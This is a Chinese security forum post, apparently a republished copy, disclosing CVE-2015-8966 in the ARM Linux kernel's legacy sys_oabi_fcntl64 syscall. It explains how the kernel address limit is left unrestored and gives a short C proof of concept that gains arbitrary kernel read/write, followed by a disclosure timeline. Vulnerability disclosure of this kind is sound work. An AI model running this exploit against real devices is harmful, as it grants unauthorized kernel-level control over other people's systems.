CVE-2015-8966/AndroidID-31435731
标 题: 【原创】CVE-2015-8966/AndroidID-31435731
作 者: ThomasKing
时 间: 2016-12-13,23:23:02
链 接: http://bbs.pediy.com/showthread.php?t=214585
## 0x0 前言
这个漏洞大概是在去年11月中旬无意在内核源码中发现的,原理十分简单(看起来非常像一个后门...)
## 0x1 分析
漏洞存在于arm平台legacy syscall fcntl64:
asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
unsigned long arg){
struct oabi_flock64 user;
struct flock64 kernel;
mm_segment_t fs = USER_DS; /* initialized to kill a warning */
unsigned long local_arg = arg;
int ret;
switch (cmd) {
case F_OFD_GETLK:
case F_OFD_SETLK:
case F_OFD_SETLKW:
case F_GETLK64:
case F_SETLK64:
case F_SETLKW64:
if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
sizeof(user)))
return -EFAULT;
kernel.l_type = user.l_type;
kernel.l_whence = user.l_whence;
kernel.l_start = user.l_start;
kernel.l_len = user.l_len;
kernel.l_pid = user.l_pid;
local_arg = (unsigned long)&kernel;
fs = get_fs();
set_fs(KERNEL_DS); //[1]
}
ret = sys_fcntl64(fd, cmd, local_arg);
switch (cmd) {
case F_GETLK64:
if (!ret) {
...
}
case F_SETLK64:
case F_SETLKW64:
set_fs(fs); //[2]
}
return ret;
这个syscall的设计是:
1. 准备参数,设置当前进程为addr_limit: KERNEL_DS
2. 调用真正实现的函数sys_fcntl64
3. 返回结果,恢复当前进程的addr_limit: USER_DS
在[1]部分,将当前进程addr_limit设置为KERNEL_DS,该标示能够让进程获得内核的任意读写权限。
在[2]部分恢复时,只有某些command类型才恢复addr_limit。
## 0x2 利用
之所以说看起来像后门,是因为一行ioctl代码就能获取任意内核读写权限。
获取任意内核读写权限poc:
__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
__asm __volatile (
"swi 0x9000DD\n"
"mov pc, lr\n"
:
:
:
);
}
#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38
int main(int argc, char const *argv[]){
int fd = open("/proc/cpuinfo", O_RDONLY);
struct flock *map_base = 0;
if(fd == -1){
perror("open");
return -1;
}
map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map_base == (void*)-1){
perror("mmap");
goto _done;
}
printf("map_base %p\n", map_base);
memset(map_base, 0, 0x1000);
map_base->l_start = SEEK_SET;
if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
perror("sys_oabi_fcntl64");
}
// Arbitrary kernel read/write test
if(try_to_read_kernel()){
printf("pwnned !\n");
}
munmap(map_base, 0x1000);
_done:
close(fd);
return 0;
}
## 0x3 结尾
这个漏洞影响内核版本:3.15-4.3,安卓平台影响3.18。
现阶段支持oabi的设备越来越少,虽然这个漏洞看起来很不错,但实际能用的地方并不多,这也是我提交的原因之一。
Btw,这个CVE-2015-8966我并不知道怎么来的,google给的issue是:AndroidID-31435731。
## 0x4 Timeline
2016.09.10 提交给Kernel Security
2016.09.15 Kernel确认影响内核版本,将在下一轮的稳定内核版本中修复
---------------------------------------------------------
2016.09.10 在goldfish 3.18验证后提交给google
2016.09.12 谷歌反馈,设置Critical
2016.10.04 谷歌确认不影响当前任何谷歌设备
2016.12.05 Android Security Bulletin - December 2016
CVE-2015-8966.pdf
CVE-2015-8966/AndroidID-31435731相关推荐
- linux ssh权限漏洞,OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325)
OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325) 发布日期:2016-05-02 更新日期:2016-05-04 受影响系统:OpenSSH OpenSSH &l ...
- 删除oracle补丁包,最新Oracle关键补丁:更新包括248个修复
最新的Oracle 关键补丁更新是迄今为止最大的,包含248个修复,共覆盖24个产品线. Oracle关键补丁更新程序已经持续了11年,每年发布四次补丁.安全补丁覆盖24个不同的产品线,包括但不限于O ...
- 103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LINUX 内核漏洞提权 1.漏洞背景: 2.漏洞利用: (1)实验环境 (2)靶机链接 (3)突破MIME ...
- billu_b0x靶场通关
billu靶场通关 靶机ip:192.168.112.134 信息收集 端口开放 80 目录扫描 images目录存在目录遍历 test.php(任意文件下载) add.php(文件上传) index ...
- 工控系统的全球安全现状:全球漏洞实例分析
工控系统的全球安全现状:全球漏洞实例分析 一.摘要 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...
- vulhub打靶第一周
title: vulhub打靶第一周 description: vulhub打靶第一周 难度:middle date: 2023-06-01 categories: [渗透,靶机] 图片链接有问题访问 ...
- vulnhub potato
vulnhub potato(难度:简单) 知识点 一 信息收集 二 从7120端口突破 三 爆破 linux内核提权 知识点 一 nmap的使用 二 SSH爆破 三 漏洞库的利用 四 LINUX内核 ...
- 靶机系列-----medium_socnet
声明 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关. 靶机地址: https://www.vulnhub.com/entry/boredhackerblog-soci ...
- 阿里巴巴发布《2015移动安全漏洞年报》
2019独角兽企业重金招聘Python工程师标准>>> 第一章 2015年应用漏洞 1.1 业界公开的应用漏洞类型和分布 2015是不平凡的一年,各界媒体对移动应用的漏洞关注度也越来 ...
- Xamarin Andro教程搭建Xamarin Androidid开发环境(一)
Xamarin Andro教程搭建Xamarin Androidid开发环境(一) "工欲善其事,必先利其器".对于程序员来说,编程的环境就是其手中的利器.如果没有一个合适方便的编 ...
最新文章
- bitset类型, 标准库类型
- 35岁老码农:老板,你看我还有机会吗?
- 创建型设计模式 之 单例模式
- Python线程同步机制: Locks, RLocks, Semaphores, Condition
- mingw w64 v8.0.0_使用Visual Studio Code和MinGW编译运行C++代码
- Python中的eval,exec以及其相关函数
- 走进武汉,解密多媒体开发新场景、新实践(内附资料下载)
- mysql 优化之 is null ,is not null 索引使用测试
- deviceiocontrol buffered 返回不了_这3种减肥法是无用功,累死累活也瘦不了
- @Inject.@Resource.@Autowired 的区别
- hbase占用内存过高_为什么不建议在 HBase 中使用过多的列族
- java八股文第一章:Java 基础知识
- 拯救强迫症:Win11去除桌面快捷方式小箭头
- 入侵检测系统(IDS)与入侵防御系统(IPS)的简单理解
- 最长不含重复字符的字符串
- 寒武纪重磅发布首款AI云芯片,陈天石要让端云结合占领10亿智能终端!
- 树莓派 电脑通过界面远程控制
- HTML—— 超链接 行内框架 表格 知识总结。
- 函数 单片机glint_单片机数字化资源库
- Java+spring 基于ssm的美食网站设计与实现#毕业设计